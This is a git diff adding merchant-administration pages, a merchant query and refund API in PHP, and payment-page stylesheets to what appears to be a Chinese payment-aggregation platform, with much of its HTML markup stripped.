    +  添加商户 + +
    + + +
    +
    +
    + + + + + + \ No newline at end of file diff --git a/admin/uset.php b/admin/uset.php new file mode 100644 index 0000000..ea09f10 --- /dev/null +++ b/admin/uset.php @@ -0,0 +1,876 @@ +window.location.href='./login.php';"); +?> +
    +getAll("SELECT * FROM pre_group"); +foreach($rs as $row){ + $usergroup[$row['gid']] = $row['name']; + $select.=''; +} +unset($rs); +$settle_select = ''; +if($conf['settle_alipay'])$settle_select.=''; +if($conf['settle_wxpay'])$settle_select.=''; +if($conf['settle_qqpay'])$settle_select.=''; +if($conf['settle_bank'])$settle_select.=''; + +$my=isset($_GET['my'])?$_GET['my']:null; + +if($my=='add') +{ +?> +
    +
    +

    添加商户

    +
    +
    +

    基本信息

    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +

    结算信息

    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +

    功能开关

    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    >>返回商户列表 +
    +getRow("select * from pre_user where uid='$uid' limit 1"); +if(!$row)showmsg('该商户不存在',4); +$group=\lib\Channel::getGroup($row['gid']); +?> +
    +
    +

    修改商户信息 UID:

    +
    + +
    +
    +
    +

    基本信息

    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +支持变量值:[name]原商品名称,[order]支付订单号,[outorder]商户订单号,[time]时间戳,[qq]当前商户的联系QQ +
    +
    +
    + +
    +
    +
    + +
    +

    结算信息

    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +

    实名信息

    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +
    +
    + +
    +

    功能开关

    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +

    密码修改

    +
    +
    + +
    +
    +
    +
    +
    >>返回商户列表 +
    + +getRow("select * from pre_user where uid='$uid' limit 1"); +if(!$row)showmsg('该商户不存在',4); +$group=\lib\Channel::getGroup($row['gid']); +if(!$conf['apiurl'])$conf['apiurl'] = $siteurl; +?> + +
    +
    +

    商户密钥信息 UID:

    +
    + +
    + +
    + +
    +
    +
    +
    +
    + +
    +
    +
    +
    +

    V1接口(MD5签名方式):

    +
    + +
    +
    +
    +
    + +

    V2接口(RSA签名方式):

    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +

    签名方式开关设置:

    +
    + +
    + +
    +
    +
    +

    +
    +
    +
    +
    >>返回商户列表 +
    + +getRow("select * from pre_user where uid='$uid' limit 1"); +if(!$row)showmsg('该商户不存在',4); +$group=\lib\Channel::getGroup($row['gid']); +$channelinfo = json_decode($row['channelinfo'], true); +?> +
    +
    +

    修改商户信息 UID:

    +'; +} +?> + +
    >>返回商户列表 +
    +getRow("select * from pre_user where uid='$uid' limit 1"); +if(!$row)showmsg('该商户不存在',4); +$group=\lib\Channel::getGroup($row['gid']); + +$paytype = []; +$paytypes = []; +$type_select = ''; +$rs = $DB->getAll("SELECT * FROM pre_type ORDER BY id ASC"); +foreach($rs as $row){ + $paytype[$row['id']] = $row['showname']; + $paytypes[$row['id']] = $row['name']; + if(in_array($row['name'], $group['subchannel_type'])){ + $type_select .= ''; + } +} +unset($rs); +$list = $DB->getAll("SELECT A.*,B.type,B.name channelname FROM pre_subchannel A LEFT JOIN pre_channel B ON A.channel=B.id WHERE A.uid='$uid' ORDER BY A.id ASC"); +?> + + +
    +
    +

    修改商户信息 UID:

    +
    + + +
    +

    当前商户共有 个子通道  + + 新增 + +

    +
    + + + +'; +} +?> + +
    ID支付方式支付通道子通道备注自定义支付参数状态操作
    '.$res['id'].' '.$paytype[$res['type']].''.$res['channel'].'_'.$res['channelname'].''.$res['name'].''.$res['info'].''.($res['status']==1?'已开启':'已关闭').'编辑 删除 订单 测试
    +
    +
    + +>>返回商户列表 +
    + +
    +
    + + + \ No newline at end of file diff --git a/admin/ustat.php b/admin/ustat.php new file mode 100644 index 0000000..21e695e --- /dev/null +++ b/admin/ustat.php @@ -0,0 +1,141 @@ +window.location.href='./login.php';"); + +?> + + +
    +
    +
    +
    + +
    +
    + "> + + "> +
    +
    + +
    +
    + +
    + +   +
    + + +
    +
    +
    + + + + + + + \ No newline at end of file diff --git a/api.php b/api.php new file mode 100644 index 0000000..2be9136 --- /dev/null +++ b/api.php @@ -0,0 +1,150 @@ +getRow("SELECT * FROM pre_user WHERE uid='{$pid}' limit 1"); + if(!$userrow) exit(json_encode(['code'=>-3, 'msg'=>'商户ID不存在'])); + if($key!==$userrow['key']) exit(json_encode(['code'=>-3, 'msg'=>'商户密钥错误'])); + if($userrow['keytype'] == 1) exit(json_encode(['code'=>-3, 'msg'=>'该商户只能使用RSA签名类型'])); + + $orders=$DB->getColumn("SELECT count(*) from pre_order WHERE uid={$pid}"); + $lastday=date("Y-m-d",strtotime("-1 day")); + $today=date("Y-m-d"); + $order_today=$DB->getColumn("SELECT count(*) from pre_order where uid={$pid} and status=1 and date='$today'"); + $order_lastday=$DB->getColumn("SELECT count(*) from pre_order where uid={$pid} and status=1 and date='$lastday'"); + + $result=array("code"=>1,"pid"=>$pid,"key"=>$key,"active"=>$userrow['status'],"money"=>$userrow['money'],"type"=>$userrow['settle_id'],"account"=>$userrow['account'],"username"=>$userrow['username'],"orders"=>$orders,"orders_today"=>$order_today,"orders_lastday"=>$order_lastday); + exit(json_encode($result)); +} +elseif($act=='settle') +{ + $pid=intval($_GET['pid']); + $key=daddslashes($_GET['key']); + $limit=isset($_GET['limit'])?intval($_GET['limit']):10; + $offset=isset($_GET['offset'])?intval($_GET['offset']):0; + if($limit>50)$limit=50; + $userrow=$DB->getRow("SELECT * FROM pre_user WHERE uid='{$pid}' limit 1"); + if(!$userrow) exit(json_encode(['code'=>-3, 'msg'=>'商户ID不存在'])); + if($key!==$userrow['key']) exit(json_encode(['code'=>-3, 'msg'=>'商户密钥错误'])); + if($userrow['keytype'] == 1) exit(json_encode(['code'=>-3, 'msg'=>'该商户只能使用RSA签名类型'])); + + $rs=$DB->query("SELECT * FROM pre_settle WHERE uid='{$pid}' order by id desc limit {$offset},{$limit}"); + while($row=$rs->fetch(PDO::FETCH_ASSOC)){ + $data[]=$row; + } + if($rs){ + $result=array("code"=>1,"msg"=>"查询结算记录成功!","data"=>$data); + }else{ + $result=array("code"=>-1,"msg"=>"查询结算记录失败!"); + } + exit(json_encode($result)); +} +elseif($act=='order') +{ + if(isset($_GET['sign']) && isset($_GET['trade_no'])){ + $trade_no=daddslashes($_GET['trade_no']); + if(empty($_GET['sign']) || md5(SYS_KEY.$trade_no.SYS_KEY) !== $_GET['sign']) exit(json_encode(['code'=>-3, 'msg'=>'verify sign failed'])); + $row=$DB->getRow("SELECT * FROM pre_order WHERE trade_no='{$trade_no}' limit 1"); + }else{ + $pid=intval($_GET['pid']); + $key=daddslashes($_GET['key']); + $userrow=$DB->getRow("SELECT * FROM pre_user WHERE uid='{$pid}' limit 1"); + if(!$userrow) exit(json_encode(['code'=>-3, 'msg'=>'商户ID不存在'])); + if($key!==$userrow['key']) exit(json_encode(['code'=>-3, 'msg'=>'商户密钥错误'])); + if($userrow['keytype'] == 1) exit(json_encode(['code'=>-3, 'msg'=>'该商户只能使用RSA签名类型'])); + + if(!empty($_GET['trade_no'])){ + $trade_no=daddslashes($_GET['trade_no']); + $row=$DB->getRow("SELECT * FROM pre_order WHERE uid='{$pid}' and trade_no='{$trade_no}' limit 1"); + }elseif(!empty($_GET['out_trade_no'])){ + $out_trade_no=daddslashes($_GET['out_trade_no']); + $row=$DB->getRow("SELECT * FROM pre_order WHERE uid='{$pid}' and out_trade_no='{$out_trade_no}' limit 1"); + }else{ + exit(json_encode(['code'=>-4, 'msg'=>'订单号不能为空'])); + } + } + if($row){ + $type=$DB->getColumn("SELECT name FROM pre_type WHERE id='{$row['type']}' LIMIT 1"); + $result=array("code"=>1,"msg"=>"succ","trade_no"=>$row['trade_no'],"out_trade_no"=>$row['out_trade_no'],"api_trade_no"=>$row['api_trade_no'],"bill_trade_no"=>$row['bill_trade_no'],"type"=>$type,"pid"=>$row['uid'],"addtime"=>$row['addtime'],"endtime"=>$row['endtime'],"name"=>$row['name'],"money"=>$row['money'],"param"=>$row['param'],"buyer"=>$row['buyer'],"status"=>$row['status'],"payurl"=>$row['payurl']); + }else{ + $result=array("code"=>-1,"msg"=>"订单号不存在"); + } + exit(json_encode($result)); +} +elseif($act=='orders') +{ + $pid=intval($_GET['pid']); + $key=daddslashes($_GET['key']); + $limit=isset($_GET['limit'])?intval($_GET['limit']):10; + $offset=isset($_GET['offset'])?intval($_GET['offset']):0; + $status=isset($_GET['status'])?intval($_GET['status']):null; + if($limit>50)$limit=50; + $userrow=$DB->getRow("SELECT * FROM pre_user WHERE uid='{$pid}' limit 1"); + if(!$userrow) exit(json_encode(['code'=>-3, 'msg'=>'商户ID不存在'])); + if($key!==$userrow['key']) exit(json_encode(['code'=>-3, 'msg'=>'商户密钥错误'])); + if($userrow['keytype'] == 1) exit(json_encode(['code'=>-3, 'msg'=>'该商户只能使用RSA签名类型'])); + + $sql = " uid='{$pid}'"; + if(isset($_GET['status'])){ + $status = intval($_GET['status']); + $sql .= " AND A.status='{$status}'"; + } + + $rs=$DB->query("SELECT A.*,B.name typename FROM pre_order A LEFT JOIN pre_type B ON A.type=B.id WHERE{$sql} ORDER BY trade_no DESC LIMIT {$offset},{$limit}"); + while($row=$rs->fetch(PDO::FETCH_ASSOC)){ + $data[]=["trade_no"=>$row['trade_no'],"out_trade_no"=>$row['out_trade_no'],"type"=>$row['typename'],"pid"=>$row['uid'],"addtime"=>$row['addtime'],"endtime"=>$row['endtime'],"name"=>$row['name'],"money"=>$row['money'],"param"=>$row['param'],"buyer"=>$row['buyer'],"status"=>$row['status']]; + } + if($rs){ + $result=array("code"=>1,"msg"=>"查询订单记录成功!","count"=>count($data),"data"=>$data); + }else{ + $result=array("code"=>-1,"msg"=>"查询订单记录失败!"); + } + exit(json_encode($result)); +} +elseif($act=='refund') +{ + if(!$conf['user_refund']) exit(json_encode(['code'=>-4, 'msg'=>'未开启商户后台自助退款'])); + $pid=intval($_POST['pid']); + $key=daddslashes($_POST['key']); + $userrow=$DB->getRow("SELECT * FROM pre_user WHERE uid='{$pid}' limit 1"); + if(!$userrow) exit(json_encode(['code'=>-3, 'msg'=>'商户ID不存在'])); + if($key!==$userrow['key']) exit(json_encode(['code'=>-3, 'msg'=>'商户密钥错误'])); + if($userrow['keytype'] == 1) exit(json_encode(['code'=>-3, 'msg'=>'该商户只能使用RSA签名类型'])); + if($userrow['refund'] == 0) exit(json_encode(['code'=>-2, 'msg'=>'商户未开启订单退款API接口'])); + + $money = trim($_POST['money']); + if(!is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))exit(json_encode(['code'=>-1, 'msg'=>'金额输入错误'])); + + if(!empty($_POST['trade_no'])){ + $trade_no=daddslashes($_POST['trade_no']); + }elseif(!empty($_POST['out_trade_no'])){ + $out_trade_no=daddslashes($_POST['out_trade_no']); + $trade_no = $DB->findColumn('order', 'trade_no', ['out_trade_no'=>$out_trade_no, 'uid'=>$pid]); + if(!$trade_no) exit(json_encode(['code'=>-1, 'msg'=>'当前订单不存在!'])); + }else{ + exit(json_encode(['code'=>-4, 'msg'=>'订单号不能为空'])); + } + + $refund_no = date("YmdHis").rand(11111,99999); + $result = \lib\Order::refund($refund_no, $trade_no, $money, 1, $pid); + if($result['code'] == 0){ + $result['msg'] = '退款成功!退款金额¥'.$result['money']; + } + exit(json_encode($result)); +} +else +{ + exit(json_encode(['code'=>-5, 'msg'=>'No Act!'])); +} diff --git a/assets/css/alipay-pay.png b/assets/css/alipay-pay.png new file mode 100644 index 0000000..d2a9dd1 Binary files /dev/null and b/assets/css/alipay-pay.png differ diff --git a/assets/css/alipay_pay.css b/assets/css/alipay_pay.css new file mode 100644 index 0000000..cf4b766 --- /dev/null +++ b/assets/css/alipay_pay.css @@ -0,0 +1,15 @@ +@charset "UTF-8";html{font-size:62.5%;font-family:'helvetica neue',tahoma,arial,'hiragino sans gb','microsoft yahei','Simsun',sans-serif}body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,button,textarea,p,blockquote,th,td,hr{margin:0;padding:0}body{line-height:1.333;font-size:12px}h1,h2,h3,h4,h5,h6{font-size:100%;font-family:arial,'hiragino sans gb','microsoft yahei','Simsun',sans-serif}input,textarea,select,button{font-size:12px;font-weight:normal}input[type="button"],input[type="submit"],select,button{cursor:pointer}table{border-collapse:collapse;border-spacing:0}address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:normal}li{list-style:none}caption,th{text-align:left}q:before,q:after{content:''}abbr,acronym{border:0;font-variant:normal}sup{vertical-align:text-top}sub{vertical-align:text-bottom}fieldset,img,a img,iframe{border-width:0;border-style:none}img{-ms-interpolation-mode:bicubic}textarea{overflow-y:auto}legend{color:#000}a:link,a:visited{text-decoration:none}hr{height:0}label{cursor:pointer}.clearfix:after{content:"\200B";display:block;height:0;clear:both}.clearfix{*zoom:1}a{color:#328CE5}a:hover{color:#2b8ae8;text-decoration:none}a.hit{color:#C06C6C}a:focus{outline:none}.hit{color:#8DC27E}.txt_auxiliary{color:#A2A2A2}.clear{*zoom:1}.clear:before,.clear:after{content:"";display:table}.clear:after{clear:both}body,.body{background:#f7f7f7;height:100%}.mod-title{height:60px;line-height:60px;text-align:center;border-bottom:1px solid #ddd;background:#fff}.mod-title .ico-wechat{display:inline-block;width:41px;height:38px;background:url("./alipay-pay.png") 0 -113px no-repeat;vertical-align:middle;margin-right:7px}.mod-title .text{font-size:20px;color:#333;font-weight:normal;vertical-align:middle}.mod-ct{width:610px;padding:0 135px;margin:0 auto;margin-top:15px;background:#fff url("./wave.png") top center repeat-x;text-align:center;color:#333;border:1px solid #e5e5e5;border-top:none}.mod-ct .order{font-size:20px;padding-top:30px}.mod-ct .amount{font-size:48px;margin-top:20px}.mod-ct .qr-image{margin-top:30px}.mod-ct .qr-image img{width:230px;height:230px}.mod-ct .detail{margin-top:60px;padding-top:25px}.mod-ct .detail .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./alipay-pay.png") -25px -100px no-repeat}.mod-ct .detail .detail-ct{display:none;font-size:14px;text-align:right;line-height:28px}.mod-ct .detail .detail-ct dt{float:left}.mod-ct .detail-open{border-top:1px solid #e5e5e5}.mod-ct .detail .arrow{padding:6px 34px;border:1px solid #e5e5e5}.mod-ct .detail .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./alipay-pay.png") -25px -100px no-repeat}.mod-ct .detail-open .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./alipay-pay.png") 0 -100px no-repeat}.mod-ct .detail-open .detail-ct{display:block}.mod-ct .tip{margin-top:40px;border-top:1px dashed #e5e5e5;padding:30px 0;position:relative}.mod-ct .tip .ico-scan{display:inline-block;width:56px;height:55px;background:url("./alipay-pay.png") 0 0 no-repeat;vertical-align:middle;*display:inline;*zoom:1}.mod-ct .tip .tip-text{display:inline-block;vertical-align:middle;text-align:left;margin-left:23px;font-size:16px;line-height:28px;*display:inline;*zoom:1}.mod-ct .tip .dec{display:inline-block;width:22px;height:45px;background:url("./alipay-pay.png") 0 -55px no-repeat;position:absolute;top:-23px}.mod-ct .tip .dec-left{background-position:0 -55px;left:-136px}.mod-ct .tip .dec-right{background-position:-25px -55px;right:-136px}.foot{text-align:center;margin:30px auto;color:#888888;font-size:12px;line-height:20px;font-family:"simsun"}.foot .link{color:#0071ce} +.open_app{margin-top:30px} +a.btn-open-app{border:1px solid #328ce5;padding:10px 20px;color:#fff;background:#328ce5;font-size:14px;cursor:pointer;} +a.btn-check{padding:10px 20px;color:#328ce5;font-size:14px;cursor:pointer;} +@media (max-width:768px){.mod-ct{width:100%;padding:0;border:0} +.mod-ct .tip .dec-right{display:none} +.mod-ct .detail{margin-top:30px} +.mod-ct .detail .detail-ct{padding:0 19px;margin-bottom:19px} +} +.top-guide[data-v-cd35abb6]{padding-top:.16rem;animation:myfirst 1.6s infinite} +@keyframes myfirst{0%{transform:translateY(0)} +50%{transform:translateY(.21333rem)} +100%{transform:translateY(0)} +} +.guide{text-align:center;position:fixed;top:0;left:0;z-index:10;width:100vw;height:100vh;background:rgba(51,51,51,.92)} diff --git a/assets/css/bank-pay.png b/assets/css/bank-pay.png new file mode 100644 index 0000000..9477399 Binary files /dev/null and b/assets/css/bank-pay.png differ diff --git a/assets/css/bank_pay.css b/assets/css/bank_pay.css new file mode 100644 index 0000000..ab0f3e2 --- /dev/null +++ b/assets/css/bank_pay.css @@ -0,0 +1,9 @@ +@charset "UTF-8";html{font-size:62.5%;font-family:'helvetica neue',tahoma,arial,'hiragino sans gb','microsoft yahei','Simsun',sans-serif}body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,button,textarea,p,blockquote,th,td,hr{margin:0;padding:0}body{line-height:1.333;font-size:12px}h1,h2,h3,h4,h5,h6{font-size:100%;font-family:arial,'hiragino sans gb','microsoft yahei','Simsun',sans-serif}input,textarea,select,button{font-size:12px;font-weight:normal}input[type="button"],input[type="submit"],select,button{cursor:pointer}table{border-collapse:collapse;border-spacing:0}address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:normal}li{list-style:none}caption,th{text-align:left}q:before,q:after{content:''}abbr,acronym{border:0;font-variant:normal}sup{vertical-align:text-top}sub{vertical-align:text-bottom}fieldset,img,a img,iframe{border-width:0;border-style:none}img{-ms-interpolation-mode:bicubic}textarea{overflow-y:auto}legend{color:#000}a:link,a:visited{text-decoration:none}hr{height:0}label{cursor:pointer}.clearfix:after{content:"\200B";display:block;height:0;clear:both}.clearfix{*zoom:1}a{color:#328CE5}a:hover{color:#2b8ae8;text-decoration:none}a.hit{color:#C06C6C}a:focus{outline:none}.hit{color:#8DC27E}.txt_auxiliary{color:#A2A2A2}.clear{*zoom:1}.clear:before,.clear:after{content:"";display:table}.clear:after{clear:both}body,.body{background:#f7f7f7;height:100%}.mod-title{height:60px;line-height:60px;text-align:center;border-bottom:1px solid #ddd;background:#fff}.mod-title .ico-wechat{display:inline-block;width:41px;height:36px;background:url("./bank-pay.png") 0 -115px no-repeat;vertical-align:middle;margin-right:7px}.mod-title .text{font-size:20px;color:#333;font-weight:normal;vertical-align:middle}.mod-ct{width:610px;padding:0 135px;margin:0 auto;margin-top:15px;background:#fff url("./wave.png") top center repeat-x;text-align:center;color:#333;border:1px solid #e5e5e5;border-top:none}.mod-ct .order{font-size:20px;padding-top:30px}.mod-ct .amount{font-size:48px;margin-top:20px}.mod-ct .qr-image{margin-top:30px}.mod-ct .qr-image img{width:230px;height:230px}.mod-ct .detail{margin-top:60px;padding-top:25px}.mod-ct .detail .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./bank-pay.png") -25px -100px no-repeat}.mod-ct .detail .detail-ct{display:none;font-size:14px;text-align:right;line-height:28px}.mod-ct .detail .detail-ct dt{float:left}.mod-ct .detail-open{border-top:1px solid #e5e5e5}.mod-ct .detail .arrow{padding:6px 34px;border:1px solid #e5e5e5}.mod-ct .detail .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./bank-pay.png") -25px -100px no-repeat}.mod-ct .detail-open .arrow .ico-arrow{display:inline-block;width:20px;height:11px;background:url("./bank-pay.png") 0 -100px no-repeat}.mod-ct .detail-open .detail-ct{display:block}.mod-ct .tip{margin-top:40px;border-top:1px dashed #e5e5e5;padding:30px 0;position:relative}.mod-ct .tip .ico-scan{display:inline-block;width:56px;height:55px;background:url("./bank-pay.png") 0 0 no-repeat;vertical-align:middle;*display:inline;*zoom:1}.mod-ct .tip .tip-text{display:inline-block;vertical-align:middle;text-align:left;margin-left:23px;font-size:16px;line-height:28px;*display:inline;*zoom:1}.mod-ct .tip .dec{display:inline-block;width:22px;height:45px;background:url("./bank-pay.png") 0 -55px no-repeat;position:absolute;top:-23px}.mod-ct .tip .dec-left{background-position:0 -55px;left:-136px}.mod-ct .tip .dec-right{background-position:-25px -55px;right:-136px}.foot{text-align:center;margin:30px auto;color:#888888;font-size:12px;line-height:20px;font-family:"simsun"}.foot .link{color:#0071ce} +.open_app{margin-top:30px} +a.btn-open-app{border:1px solid #328ce5;padding:10px 20px;color:#fff;background:#328ce5;font-size:14px;cursor:pointer;} +a.btn-check{padding:10px 20px;color:#328ce5;font-size:14px;cursor:pointer;} +@media (max-width:768px){.mod-ct{width:100%;padding:0;border:0} +.mod-ct .tip .dec-right{display:none} +.mod-ct .detail{margin-top:30px} +.mod-ct .detail .detail-ct{padding:0 19px;margin-bottom:19px} +} \ No newline at end of file diff --git a/assets/css/bootstrap-table.css b/assets/css/bootstrap-table.css new file mode 100644 index 0000000..3e30e0b --- /dev/null +++ b/assets/css/bootstrap-table.css @@ -0,0 +1,7 @@ +.bootstrap-table .fixed-table-toolbar::after{content:"";display:block;clear:both}.bootstrap-table .fixed-table-toolbar .bs-bars,.bootstrap-table .fixed-table-toolbar .columns,.bootstrap-table .fixed-table-toolbar .search{position:relative;margin-top:10px;margin-bottom:10px}.bootstrap-table .fixed-table-toolbar .columns .btn-group>.btn-group{display:inline-block;margin-left:-1px!important}.bootstrap-table .fixed-table-toolbar .columns .btn-group>.btn-group>.btn{border-radius:0}.bootstrap-table .fixed-table-toolbar .columns .btn-group>.btn-group:first-child>.btn{border-top-left-radius:4px;border-bottom-left-radius:4px}.bootstrap-table .fixed-table-toolbar .columns .btn-group>.btn-group:last-child>.btn{border-top-right-radius:4px;border-bottom-right-radius:4px}.bootstrap-table .fixed-table-toolbar .columns .dropdown-menu{text-align:left;max-height:300px;overflow:auto;-ms-overflow-style:scrollbar;z-index:1001}.bootstrap-table .fixed-table-toolbar .columns label{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.4286}.bootstrap-table .fixed-table-toolbar .columns-left{margin-right:5px}.bootstrap-table .fixed-table-toolbar .columns-right{margin-left:5px}.bootstrap-table .fixed-table-toolbar .pull-right .dropdown-menu{right:0;left:auto}.bootstrap-table .fixed-table-container{position:relative;clear:both}.bootstrap-table .fixed-table-container .table{width:100%;margin-bottom:0!important}.bootstrap-table .fixed-table-container .table td,.bootstrap-table .fixed-table-container .table th{vertical-align:middle;box-sizing:border-box}.bootstrap-table .fixed-table-container .table thead th{vertical-align:bottom;padding:0;margin:0}.bootstrap-table .fixed-table-container .table thead th:focus{outline:0 solid transparent}.bootstrap-table .fixed-table-container .table thead th.detail{width:30px}.bootstrap-table .fixed-table-container .table thead th .th-inner{padding:.75rem;vertical-align:bottom;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.bootstrap-table .fixed-table-container .table thead th .sortable{cursor:pointer;background-position:right;background-repeat:no-repeat;padding-right:30px!important}.bootstrap-table .fixed-table-container .table thead th .both{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7X QMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC")}.bootstrap-table .fixed-table-container .table thead th .asc{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==")}.bootstrap-table .fixed-table-container .table thead th .desc{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII= ")}.bootstrap-table .fixed-table-container .table tbody tr.selected td{background-color:rgba(0,0,0,.075)}.bootstrap-table .fixed-table-container .table tbody tr.no-records-found td{text-align:center}.bootstrap-table .fixed-table-container .table tbody tr .card-view{display:flex}.bootstrap-table .fixed-table-container .table tbody tr .card-view .card-view-title{font-weight:700;display:inline-block;min-width:30%;width:auto!important;text-align:left!important}.bootstrap-table .fixed-table-container .table tbody tr .card-view .card-view-value{width:100%!important;text-align:left!important}.bootstrap-table .fixed-table-container .table .bs-checkbox{text-align:center}.bootstrap-table .fixed-table-container .table .bs-checkbox label{margin-bottom:0}.bootstrap-table .fixed-table-container .table .bs-checkbox label input[type=checkbox],.bootstrap-table .fixed-table-container .table .bs-checkbox label input[type=radio]{margin:0 auto!important}.bootstrap-table .fixed-table-container .table.table-sm .th-inner{padding:.3rem}.bootstrap-table .fixed-table-container.fixed-height:not(.has-footer){border-bottom:1px solid #dee2e6}.bootstrap-table .fixed-table-container.fixed-height.has-card-view{border-top:1px solid #dee2e6;border-bottom:1px solid #dee2e6}.bootstrap-table .fixed-table-container.fixed-height .fixed-table-border{border-left:1px solid #dee2e6;border-right:1px solid #dee2e6}.bootstrap-table .fixed-table-container.fixed-height .table thead th{border-bottom:1px solid #dee2e6}.bootstrap-table .fixed-table-container.fixed-height .table-dark thead th{border-bottom:1px solid #32383e}.bootstrap-table .fixed-table-container .fixed-table-header{overflow:hidden}.bootstrap-table .fixed-table-container .fixed-table-body{overflow-x:auto;overflow-y:auto;height:100%}.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading{align-items:center;background:#fff;display:flex;justify-content:center;position:absolute;bottom:0;width:100%;max-width:100%;z-index:1000;transition:visibility 0s,opacity .15s ease-in-out;opacity:0;visibility:hidden}.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading.open{visibility:visible;opacity:1}.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading .loading-wrap{align-items:baseline;display:flex;justify-content:center}.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading .loading-wrap .loading-text{margin-right:6px}.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading .loading-wrap .animation-wrap{align-items:center;display:flex;justify-content:center}.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading .loading-wrap .animation-dot,.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading .loading-wrap .animation-wrap::after,.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading .loading-wrap .animation-wrap::before{content:"";animation-duration:1.5s;animation-iteration-count:infinite;animation-name:loading;background:#212529;border-radius:50%;display:block;height:5px;margin:0 4px;opacity:0;width:5px}.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading .loading-wrap .animation-dot{animation-delay:.3s}.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading .loading-wrap .animation-wrap::after{animation-delay:.6s}.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading.table-dark{background:#212529}.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading.table-dark .animation-dot,.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading.table-dark .animation-wrap::after,.bootstrap-table .fixed-table-container .fixed-table-body .fixed-table-loading.table-dark .animation-wrap::before{background:#fff}.bootstrap-table .fixed-table-container .fixed-table-footer{overflow:hidden}.bootstrap-table .fixed-table-pagination::after{content:"";display:block;clear:both}.bootstrap-table .fixed-table-pagination>.pagination,.bootstrap-table .fixed-table-pagination>.pagination-detail{margin-top:10px;margin-bottom:10px}.bootstrap-table .fixed-table-pagination>.pagination-detail .pagination-info{line-height:34px;margin-right:5px}.bootstrap-table .fixed-table-pagination>.pagination-detail .page-list{display:inline-block}.bootstrap-table .fixed-table-pagination>.pagination-detail .page-list .btn-group{position:relative;display:inline-block;vertical-align:middle}.bootstrap-table .fixed-table-pagination>.pagination-detail .page-list .btn-group .dropdown-menu{margin-bottom:0}.bootstrap-table .fixed-table-pagination>.pagination ul.pagination{margin:0}.bootstrap-table .fixed-table-pagination>.pagination ul.pagination li.page-intermediate a{color:#c8c8c8}.bootstrap-table .fixed-table-pagination>.pagination ul.pagination li.page-intermediate a::before{content:"\2B05"}.bootstrap-table .fixed-table-pagination>.pagination ul.pagination li.page-intermediate a::after{content:"\27A1"}.bootstrap-table .fixed-table-pagination>.pagination ul.pagination li.disabled a{pointer-events:none;cursor:default}.bootstrap-table.fullscreen{position:fixed;top:0;left:0;z-index:1050;width:100%!important;background:#fff;height:calc(100vh);overflow-y:scroll}.bootstrap-table.bootstrap4 .pagination-lg .page-link,.bootstrap-table.bootstrap5 .pagination-lg .page-link{padding:.5rem 1rem}.bootstrap-table.bootstrap5 .float-left{float:left}.bootstrap-table.bootstrap5 .float-right{float:right}div.fixed-table-scroll-inner{width:100%;height:200px}div.fixed-table-scroll-outer{top:0;left:0;visibility:hidden;width:200px;height:150px;overflow:hidden}@keyframes loading{0%{opacity:0}50%{opacity:1}to{opacity:0}} +.table-bottom-border{border-bottom: 2px solid #ddd;} +@media screen and (max-width:767px){.bootstrap-table .fixed-table-container 